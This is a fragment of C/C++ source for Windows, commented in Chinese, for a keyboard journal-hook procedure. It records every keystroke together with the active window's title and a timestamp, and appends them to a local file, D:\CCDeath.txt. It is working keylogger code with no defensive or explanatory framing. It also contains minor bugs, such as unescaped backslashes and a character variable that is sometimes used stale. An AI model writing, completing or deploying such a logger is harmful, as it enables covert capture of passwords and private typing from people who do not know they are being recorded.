//處理過程
LRESULT CALLBACK KeyboardRecordProc(
int code, // hook code
WPARAM wParam, // undefined
LPARAM lParam // address of message being processed
)
{
if(code==HC_ACTION)
{
EVENTMSG *pEvtMsg = (EVENTMSG *)lParam;
//和時間
stream = fopen("D:\CCDeath.txt","a+t");//創建一個文件流指針向該文件
//處理按鍵消息
if(pEvtMsg->message==WM_KEYDOWN)
{
int vKey= LOBYTE(pEvtMsg->paramL);//取得虛擬鍵值
g_hCurrentFocusWnd=GetForegroundWindow();//取得當前活動窗口句柄
if(g_hLastFocusWnd!=g_hCurrentFocusWnd)
{
GetWindowText(g_hCurrentFocusWnd,szTitle,256);//獲得標題
g_hLastFocusWnd=g_hCurrentFocusWnd;
SYSTEMTIME mytime;//獲得當前時間與日期
GetLocalTime(&mytime);
CString m_time,m_Space,m_Back;
m_time.Format("\r\n記錄時間:%d年%d月%d日,%02d小時%d分鐘%d秒\r\n記錄的文件名:",mytime.wYear,mytime.wMonth,\
mytime.wDay,mytime.wHour,mytime.wMinute,mytime.wSecond);
m_Space="\r\n-------------------------------------------"; // 開 頭
m_Back="\r\n記錄的內容:\r\n";//結束
fprintf(stream,"%s%s%s%s",m_Space,m_time,szTitle,m_Back);//寫入文件
}
//測試SHIFT,CAPTION,NUMLOCK等鍵是否按下
int IsShift = GetKeyState(0x10);
int IsNumLock = GetKeyState(0x90);
int IsCapsLock = GetKeyState(0x14);
bool bShift=(IsShift & g_KeyPressMass)==g_KeyPressMass;
bool bCapsLock=((IsCapsLock & 1) ==1);
bool bNumLock=((IsNumLock & 1) ==1);
if(vKey>=48 && vKey<=57)//數字0到9
{
if(!bShift)//shift+1=!上檔鍵
{
fprintf(stream,"%c",vKey);//寫入0到九
}
}
if(vKey>=65 && vKey<=90)//字符大寫A-Z
{
if(!bCapsLock)//沒有大小鎖定鍵
{
if(!bShift)//Shit+A=a \A+32=a;
{
ch=vKey+32;
}
else ch=vKey;
}
fprintf(stream,"%c",ch);
}
if (vKey >=96 && vKey<=105) // 小鍵盤0-9
{
if (bNumLock) fprintf(stream,"%c",vKey-96+48);
}
if (vKey>=186 && vKey<=222) // 其他鍵
{
switch (vKey)
{
case 186:if (!bShift) ch=';'; else ch=':';break;
case 187:if (!bShift) ch='='; else ch='+';break;
case 188:if (!bShift) ch=','; else ch='<' ;break;
case 189:if (!bShift) ch='-'; else ch='_';break;
case 190:if (!bShift) ch='.'; else ch='>';break;
case 191:if (!bShift) ch='/'; else ch='?';break;
case 192:if (!bShift) ch='`'; else ch='~';break;
case 219:if (!bShift) ch='['; else ch='{';break;
case 220:if (!bShift) ch='\'; else ch='|';break;
case 221:if (!bShift) ch=']'; else ch='}';break;
case 222:if (!bShift) ch='\''; else ch='\"';break;
default:ch='n';break;
}
if (ch!='n') fprintf(stream,"%c",ch); //n是110n回車 此時應該換行才對
}
if(vKey==9) //TAB
fprintf(stream,"%c",'\t');
if(vKey==13) //回車鍵
fprintf(stream,"%c",'\n');
}
fclose(stream);
return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
}
if(code<0)
{
return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
}
// return CallNextHookEx(g_hKeyBoard,code,wParam,lParam);
}
